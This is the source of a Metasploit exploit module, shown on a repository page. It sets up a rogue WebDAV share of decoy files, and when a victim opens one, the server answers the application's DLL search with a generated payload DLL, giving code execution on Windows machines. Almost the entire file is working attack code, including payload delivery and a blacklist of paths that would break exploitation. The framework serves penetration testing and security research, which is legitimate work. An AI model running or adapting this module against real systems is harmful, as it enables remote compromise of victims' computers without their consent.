Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / browser / webdav_dll_hijacker.rb @ master

History | View | Annotate | Download (10.9 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14

    
15
class Metasploit3 < Msf::Exploit::Remote
16
        Rank = ManualRanking
17

    
18
        #
19
        # This module acts as an HTTP server
20
        #
21
        include Msf::Exploit::Remote::HttpServer::HTML
22
        include Msf::Exploit::EXE
23

    
24
        def initialize(info = {})
25
                super(update_info(info,
26
                        'Name'                        => 'WebDAV Application DLL Hijacker',
27
                        'Description'        => %q{
28
                                This module presents a directory of file extensions that can lead to
29
                        code execution when opened from the share. The default EXTENSIONS option
30
                        must be configured to specify a vulnerable application type.
31
                        },
32
                        'Author'                =>
33
                                [
34
                                        'hdm',   # Module itself
35
                                        'jduck', # WebDAV implementation
36
                                        'jcran', # Exploit vectors
37
                                ],
38
                        'License'                => MSF_LICENSE,
39
                        'Version'                => '$Revision$',
40
                        'References'        =>
41
                                [
42
                                        ['URL', 'http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html'],
43
                                        ['URL', 'http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt'],
44
                                ],
45
                        'DefaultOptions' =>
46
                                {
47
                                        'EXITFUNC' => 'process',
48
                                },
49
                        'Payload'                =>
50
                                {
51
                                        'Space'        => 2048,
52
                                },
53
                        'Platform'                => 'win',
54
                        'Targets'                =>
55
                                [
56
                                        [ 'Automatic',        { } ]
57
                                ],
58
                        'DisclosureDate' => 'Aug 18 2010',
59
                        'DefaultTarget'  => 0))
60

    
61
                register_options(
62
                        [
63
                                OptPort.new(        'SRVPORT',                 [ true, "The daemon port to listen on (do not change)", 80 ]),
64
                                OptString.new(        'URIPATH',                 [ true, "The URI to use (do not change).", "/" ]),
65
                                OptString.new(        'BASENAME',                 [ true, "The base name for the listed files.", "policy" ]),
66
                                OptString.new(        'SHARENAME',         [ true, "The name of the top-level share.", "documents" ]),
67
                                OptString.new(        'EXTENSIONS',         [ true, "The list of extensions to generate", "txt" ])
68
                        ], self.class)
69

    
70
                deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL
71
        end
72

    
73

    
74
        def on_request_uri(cli, request)
75

    
76
                case request.method
77
                when 'OPTIONS'
78
                        process_options(cli, request)
79
                when 'PROPFIND'
80
                        process_propfind(cli, request)
81
                when 'GET'
82
                        process_get(cli, request)
83
                else
84
                        print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
85
                        resp = create_response(404, "Not Found")
86
                        resp.body = ""
87
                        resp['Content-Type'] = 'text/html'
88
                        cli.send_response(resp)
89
                end
90
        end
91

    
92

    
93
        def process_get(cli, request)
94

    
95
                myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
96
                webdav = "\\\\#{myhost}\\"
97

    
98
                if blacklisted_path?(request.uri)
99
                        print_status("#{cli.peerhost}:#{cli.peerport} GET => 404 [BLACKLIST] (#{request.uri})")
100
                        resp = create_response(404, "Not Found")
101
                        resp.body = ""
102
                        cli.send_response(resp)
103
                        return
104
                end
105

    
106
                if (request.uri =~ /\.(dll|dl|drv|cpl)$/i)
107
                        print_status("#{cli.peerhost}:#{cli.peerport} GET => DLL Payload")
108
                        return if ((p = regenerate_payload(cli)) == nil)
109
                        data = generate_payload_dll({ :code => p.encoded })
110
                        send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
111
                        return
112
                end
113

    
114
                # Treat index.html specially
115
                if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
116
                        print_status("#{cli.peerhost}:#{cli.peerport} GET => REDIRECT (#{request.uri})")
117
                        resp = create_response(200, "OK")
118

    
119
                        resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{datastore['SHARENAME']}\\"></head><body></body></html>|
120

    
121
                        resp['Content-Type'] = 'text/html'
122
                        cli.send_response(resp)
123
                        return
124
                end
125

    
126
                # Anything else is probably a request for a data file...
127
                print_status("#{cli.peerhost}:#{cli.peerport} GET => DATA (#{request.uri})")
128
                data = "HELLO!"
129
                send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
130
        end
131

    
132
        #
133
        # OPTIONS requests sent by the WebDav Mini-Redirector
134
        #
135
        def process_options(cli, request)
136
                print_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
137
                headers = {
138
                        'MS-Author-Via' => 'DAV',
139
                        'DASL'          => '<DAV:sql>',
140
                        'DAV'           => '1, 2',
141
                        'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
142
                        'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
143
                        'Cache-Control' => 'private'
144
                }
145
                resp = create_response(207, "Multi-Status")
146
                headers.each_pair {|k,v| resp[k] = v }
147
                resp.body = ""
148
                resp['Content-Type'] = 'text/xml'
149
                cli.send_response(resp)
150
        end
151

    
152
        #
153
        # PROPFIND requests sent by the WebDav Mini-Redirector
154
        #
155
        def process_propfind(cli, request)
156
                path = request.uri
157
                print_status("#{cli.peerhost}:#{cli.peerport} PROPFIND #{path}")
158
                body = ''
159

    
160
                my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
161
                my_uri    = "http://#{my_host}/"
162

    
163
                if path !~ /\/$/
164

    
165
                        if blacklisted_path?(path)
166
                                print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 404 (#{path})"
167
                                resp = create_response(404, "Not Found")
168
                                resp.body = ""
169
                                cli.send_response(resp)
170
                                return
171
                        end
172

    
173
                        if path.index(".")
174
                                print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 File (#{path})"
175
                                body = %Q|<?xml version="1.0" encoding="utf-8"?>
176
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
177
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
178
<D:href>#{path}</D:href>
179
<D:propstat>
180
<D:prop>
181
<lp1:resourcetype/>
182
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
183
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
184
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
185
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
186
<lp2:executable>T</lp2:executable>
187
<D:supportedlock>
188
<D:lockentry>
189
<D:lockscope><D:exclusive/></D:lockscope>
190
<D:locktype><D:write/></D:locktype>
191
</D:lockentry>
192
<D:lockentry>
193
<D:lockscope><D:shared/></D:lockscope>
194
<D:locktype><D:write/></D:locktype>
195
</D:lockentry>
196
</D:supportedlock>
197
<D:lockdiscovery/>
198
<D:getcontenttype>application/octet-stream</D:getcontenttype>
199
</D:prop>
200
<D:status>HTTP/1.1 200 OK</D:status>
201
</D:propstat>
202
</D:response>
203
</D:multistatus>
204
|
205
                                # send the response
206
                                resp = create_response(207, "Multi-Status")
207
                                resp.body = body
208
                                resp['Content-Type'] = 'text/xml; charset="utf8"'
209
                                cli.send_response(resp)
210
                                return
211
                        else
212
                                print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 301 (#{path})"
213
                                resp = create_response(301, "Moved")
214
                                resp["Location"] = path + "/"
215
                                resp['Content-Type'] = 'text/html'
216
                                cli.send_response(resp)
217
                                return
218
                        end
219
                end
220

    
221
                print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Directory (#{path})"
222
                body = %Q|<?xml version="1.0" encoding="utf-8"?>
223
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
224
        <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
225
                <D:href>#{path}</D:href>
226
                <D:propstat>
227
                        <D:prop>
228
                                <lp1:resourcetype><D:collection/></lp1:resourcetype>
229
                                <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
230
                                <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
231
                                <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
232
                                <D:supportedlock>
233
                                        <D:lockentry>
234
                                                <D:lockscope><D:exclusive/></D:lockscope>
235
                                                <D:locktype><D:write/></D:locktype>
236
                                        </D:lockentry>
237
                                        <D:lockentry>
238
                                                <D:lockscope><D:shared/></D:lockscope>
239
                                                <D:locktype><D:write/></D:locktype>
240
                                        </D:lockentry>
241
                                </D:supportedlock>
242
                                <D:lockdiscovery/>
243
                                <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
244
                        </D:prop>
245
                <D:status>HTTP/1.1 200 OK</D:status>
246
        </D:propstat>
247
</D:response>
248
|
249

    
250
                if request["Depth"].to_i > 0
251
                        trail = path.split("/")
252
                        trail.shift
253
                        case trail.length
254
                        when 0
255
                                body << generate_shares(path)
256
                        when 1
257
                                body << generate_files(path)
258
                        end
259
                else
260
                        print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Top-Level Directory"
261
                end
262

    
263
                body << "</D:multistatus>"
264

    
265
                body.gsub!(/\t/, '')
266

    
267
                # send the response
268
                resp = create_response(207, "Multi-Status")
269
                resp.body = body
270
                resp['Content-Type'] = 'text/xml; charset="utf8"'
271
                cli.send_response(resp)
272
        end
273

    
274
        def generate_shares(path)
275
                share_name = datastore['SHARENAME']
276
%Q|
277
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
278
<D:href>#{path}#{share_name}/</D:href>
279
<D:propstat>
280
<D:prop>
281
<lp1:resourcetype><D:collection/></lp1:resourcetype>
282
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
283
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
284
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
285
<D:supportedlock>
286
<D:lockentry>
287
<D:lockscope><D:exclusive/></D:lockscope>
288
<D:locktype><D:write/></D:locktype>
289
</D:lockentry>
290
<D:lockentry>
291
<D:lockscope><D:shared/></D:lockscope>
292
<D:locktype><D:write/></D:locktype>
293
</D:lockentry>
294
</D:supportedlock>
295
<D:lockdiscovery/>
296
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
297
</D:prop>
298
<D:status>HTTP/1.1 200 OK</D:status>
299
</D:propstat>
300
</D:response>
301
|
302
        end
303

    
304
        def generate_files(path)
305
                trail = path.split("/")
306
                return "" if trail.length < 2
307

    
308
                base  = datastore['BASENAME']
309
                exts  = datastore['EXTENSIONS'].gsub(",", " ").split(/\s+/)
310
                files = ""
311
                exts.each do |ext|
312
                        files << %Q|
313
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
314
<D:href>#{path}#{base}.#{ext}</D:href>
315
<D:propstat>
316
<D:prop>
317
<lp1:resourcetype/>
318
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
319
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
320
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
321
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
322
<lp2:executable>T</lp2:executable>
323
<D:supportedlock>
324
<D:lockentry>
325
<D:lockscope><D:exclusive/></D:lockscope>
326
<D:locktype><D:write/></D:locktype>
327
</D:lockentry>
328
<D:lockentry>
329
<D:lockscope><D:shared/></D:lockscope>
330
<D:locktype><D:write/></D:locktype>
331
</D:lockentry>
332
</D:supportedlock>
333
<D:lockdiscovery/>
334
<D:getcontenttype>application/octet-stream</D:getcontenttype>
335
</D:prop>
336
<D:status>HTTP/1.1 200 OK</D:status>
337
</D:propstat>
338
</D:response>
339
|
340
                end
341

    
342
                files
343
        end
344

    
345
        def gen_timestamp(ttype=nil)
346
                ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
347
        end
348

    
349
        def gen_datestamp(ttype=nil)
350
                ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
351
        end
352

    
353
        # This method rejects requests that are known to break exploitation
354
        def blacklisted_path?(uri)
355
                return true if uri =~ /\.exe/i
356
                return true if uri =~ /\.(config|manifest)/i
357
                return true if uri =~ /desktop\.ini/i
358
                return true if uri =~ /lib.*\.dll/i
359
                return true if uri =~ /\.tmp$/i
360
                return true if uri =~ /(pcap|packet)\.dll/i
361
                false
362
        end
363

    
364
        def exploit
365

    
366
                myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
367

    
368
                @exploit_unc  = "\\\\#{myhost}\\"
369

    
370
                if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
371
                        raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
372
                end
373

    
374
                print_status("")
375
                print_status("Exploit links are now available at #{@exploit_unc}#{datastore['SHARENAME']}\\")
376
                print_status("")
377

    
378
                super
379
        end
380
end
381